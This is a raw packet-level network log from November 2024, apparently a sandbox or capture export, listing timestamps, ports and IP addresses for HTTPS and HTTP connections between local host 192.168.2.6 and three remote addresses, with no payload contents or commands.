Nov 20, 2024 00:19:20.044534922 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.044691086 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.044770002 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.044894934 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.044909000 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.044929981 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.044934034 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.045763016 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.045825958 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.045928001 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.046026945 CET	49785	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.046042919 CET	443	49785	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.046859980 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.046885967 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.047882080 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.048290014 CET	49786	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.048300982 CET	443	49786	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.052431107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.052690983 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.104924917 CET	49705	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:20.105205059 CET	49705	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:20.105807066 CET	49787	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:20.105838060 CET	443	49787	173.222.162.64	192.168.2.6
Nov 20, 2024 00:19:20.105909109 CET	49787	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:20.106753111 CET	49787	443	192.168.2.6	173.222.162.64
Nov 20, 2024 00:19:20.106765032 CET	443	49787	173.222.162.64	192.168.2.6
Nov 20, 2024 00:19:20.111490011 CET	443	49705	173.222.162.64	192.168.2.6
Nov 20, 2024 00:19:20.111495972 CET	443	49705	173.222.162.64	192.168.2.6
Nov 20, 2024 00:19:20.146207094 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.152658939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.152717113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.152724981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.152736902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.152785063 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.156352043 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.156429052 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.156475067 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.156738997 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.156759024 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.156775951 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.156784058 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.160054922 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.160093069 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.160167933 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.160389900 CET	49788	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.160403013 CET	443	49788	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.162086010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.168855906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.168911934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.168917894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169004917 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169086933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169092894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169099092 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169105053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169147968 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169437885 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169444084 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169455051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169461012 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169466972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169478893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169486046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169487000 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169491053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169498920 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169527054 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169581890 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169651031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169825077 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169831038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169841051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169847965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169857979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169859886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169864893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169869900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169881105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169887066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169892073 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169893980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.169909954 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169936895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.169950008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170026064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170032024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170043945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170048952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170054913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170062065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170073032 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170073986 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170089006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170094967 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170100927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170106888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170110941 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170111895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170118093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170124054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170125961 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170129061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170141935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170147896 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170156002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170188904 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170188904 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170188904 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170423031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170428991 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170440912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170445919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170452118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170464039 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170470953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170480967 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170561075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170576096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170582056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170593977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170593977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170598984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170604944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170618057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170619011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170624018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170628071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170629978 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170629978 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170633078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170639992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170644999 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170659065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.170675993 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.170710087 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.171204090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171210051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171216011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171221018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171235085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171241045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171247005 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171252966 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171257973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171263933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171269894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.171271086 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.171324968 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.171324968 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172178030 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172183990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172195911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172200918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172205925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172214031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172225952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172231913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172238111 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172249079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172255993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172262907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172348976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172355890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172355890 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172355890 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172357082 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172357082 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172367096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172373056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172378063 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172384024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172390938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172395945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172401905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172409058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172414064 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172477961 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172477961 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172862053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172873020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172878981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172883987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172899008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.172931910 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.172945023 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173119068 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173125029 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173130035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173135996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173141956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173166990 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173197985 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173266888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173271894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173284054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173291922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173295021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173306942 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173312902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173316956 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173319101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173325062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173330069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173343897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173346043 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173428059 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173506021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173512936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173520088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173614979 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173614979 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173630953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173636913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173648119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173654079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173659086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173671007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173710108 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173717976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173717976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173739910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173746109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173757076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173763037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173768997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173775911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173782110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173788071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173794985 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173799038 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173806906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173813105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.173878908 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173878908 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.173878908 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174165010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174176931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174181938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174187899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174195051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174205065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174211025 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174216032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174221039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174227953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174233913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174386978 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174386978 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174721956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174727917 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174735069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174743891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174745083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174757004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174767017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174770117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174774885 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174781084 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174787045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174798012 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174802065 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174802065 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174860954 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174860954 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174879074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174885988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174896955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174902916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174907923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174913883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174920082 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174936056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174946070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174952984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174957991 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174969912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174976110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174982071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174981117 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174981117 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174981117 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.174988031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.174994946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175005913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175013065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175017118 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175017118 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175098896 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175658941 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175666094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175677061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175744057 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175779104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175786018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175796986 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175801992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175807953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175822020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175827980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175847054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175852060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175853014 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175853014 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175864935 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175872087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175878048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175890923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175896883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175903082 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175914049 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175914049 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.175914049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175920010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175926924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175937891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.175946951 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.176049948 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.176049948 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.176049948 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.176341057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.176350117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.176352024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.176357031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.176374912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.176387072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.176394939 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.176476955 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.176477909 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.272892952 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.273367882 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.273380041 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.274051905 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.274058104 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.382097006 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.382263899 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.382354975 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.382520914 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.382520914 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.382540941 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.382551908 CET	443	49783	13.107.246.45	192.168.2.6
